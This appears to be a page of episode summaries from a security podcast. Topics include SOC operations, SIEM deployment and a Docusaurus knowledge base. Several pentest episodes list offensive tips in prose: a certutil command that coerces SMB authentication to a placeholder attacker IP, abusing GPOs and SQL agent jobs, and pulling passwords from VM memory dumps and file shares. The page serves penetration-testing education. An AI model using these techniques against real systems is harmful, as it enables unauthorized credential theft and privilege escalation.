7MS #378: Interview with Zane West of Proficio

7MS #378: Interview with Zane West of Proficio

In today's episode, I sit down with Zane West of Proficio. Zane has been in information security for more than 20 years - starting out in the "early days" as a sysadmin and then moved up into global infrastructure architect function in the banking world. Today Zane manages Proficio's solution and product development. I sat down with Zane over Skype to talk about how companies can better analyze and defend their networks against attacks. Specifically, we talk about:

  • How important is it to have an IT background before you jump into security?
  • How can newb(ish) security analysts and pentesters better understand the political/financial struggles a business has, rather than charge in and scream "PWN ALL THE THINGS!"
  • Is there a "right way" to step into an organization, get a lay of the land and discover/prioritize their security risks?
  • Why in the world does it take twenty seven people to run a SOC?!
  • When should an organization consider engaging an MSSP to help them with their security needs?
  • What if your MSP also provides MSSP services? Is that a good or bad thing?
  • What are some tips for successfully deploying a SIEM?
  • What is the cyber kill chain about, and is it only something for the Fortune X companies, or can smaller orgs tip their toe in it as well? (Here's a nice graph to help you understand it)

7MS #638: Tales of Pentest Pwnage – Part 61

Today we’re talking pentesting – specifically some mini gems that can help you escalate local/domain/SQL privileges: Check the C: drive! If you get local admin and the system itself looks boring, check root of C – might have some interesting scripts or folders with tools that have creds in them. Also look at Look at Get-ScheduledTasks Find ids and passwords easily in Snaffler output with this Snaffler cleaner script There’s a ton of gold to (potentially) be found in SQL servers – check out my notes on using PowerUpSQL to find misconfigs and agent jobs you might able to abuse!

7MS #637: BPATTY[RELOADED] Release Party

Hello friends, I’m excited to release BPATTY[RELOADED] into the world at https://bpatty.rocks! – which stands for Brian’s Pentesting and Technical Tips for You! It’s a knowledge base of IT and security bits that help me do a better job doing security stuff! Today I do an ACTUAL 7-minute episode (GASP…what a concept!) covering my favorite bits on the site so far. Enjoy!

7MS #636: A Prelude to BPATTY(RELOADED)

Artificial hype alert!  I’m working on a NEW version of BPATTY (Brian’s Pentesting and Technical Tips for You), but it is delayed because of a weird domain name hostage negotiation situation.  It’s weird.  But in the meantime I want to talk about the project (which is a pentest documentation library built on Docusaurus) and how I think it will be bigger/better/stronger/faster/cooler than BPATTY v1 (which is now in archive/read-only mode).

7MS #635: Eating the Security Dog Food - Part 7

Today we’re talking about eating the security dog food – specifically: Satisfying critical security control #1 Using the Atlassian family of tools to create a ticketing/change control system and wrap it into an asset inventory Leveraging Wazuh as a security monitoring system (with eventual plans to leverage its API to feed Atlassian inventory data)

Hi, today’s tale of pentest pwnage covers a few wins and one loss: A cool opportunity to drop Farmer “crops” to a domain admin’s desktop folder via PowerShell remote session Finding super sensitive data by dumpster-diving into a stale C:\Users\Domain-Admin profile Finding a vCenter database backup and being unable to pwn it using vcenter_saml_login

7MS #633: How to Create a Security Knowledgebase with Docusaurus

Hey friends, we’re doing a little departure from our normal topics and focusing on how to create a security knowledgebase (is that one word or two?) using Docusaurus!  It’s cool, it’s free, it’s from Meta and you can get up and going in just a few commands – check out their getting started guide to get rockin’ in about 5 minutes. Important files include: docusaurus.config.js – for setting the site title and key config settings sidebars.js – used to create/edit navigation bar menus /src/css/custom.css – to style the site

7MS #632: Tales of Pentest Pwnage – Part 59

Today’s tale of pentest pwnage includes some fun stuff, including: SharpGPOAbuse helps abuse vulnerable GPOs!  Try submitting a harmless POC first via a scheduled task – like ping -n 1 your.kali.ip.address.  When you’re ready to fire off a task that coerces SMB auth, try certutil -syncwithWU \\your.kali.ip.address\arbitrary-folder. I’m not 100% sure on this, but I think scheduled tasks capture Kerberos tickets temporarily to workstation(s).  If you’re on a compromised machine, try Get-ScheduledTask -taskname "name" | select * to get information about what context the attack is running under. DonPAPI got an upgrade recently with a focus on evasion! When attacking vCenter (see our past YouTube stream for a walkthrough), make sure you’ve got the vmss2core utility, which I couldn’t find anywhere except the Internet Archive.  Then I really like to follow this article to pull passwords from VM memory dumps. Can’t RDP into a victim system that you’re PSRemote’d into?  Maybe RDP is listening on an alternate port!  Try Get-ItemProperty -path "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp | select-object portnumber` And if you want to hang around until the very end, you can hear me brag about my oldest son who just became an EMT!
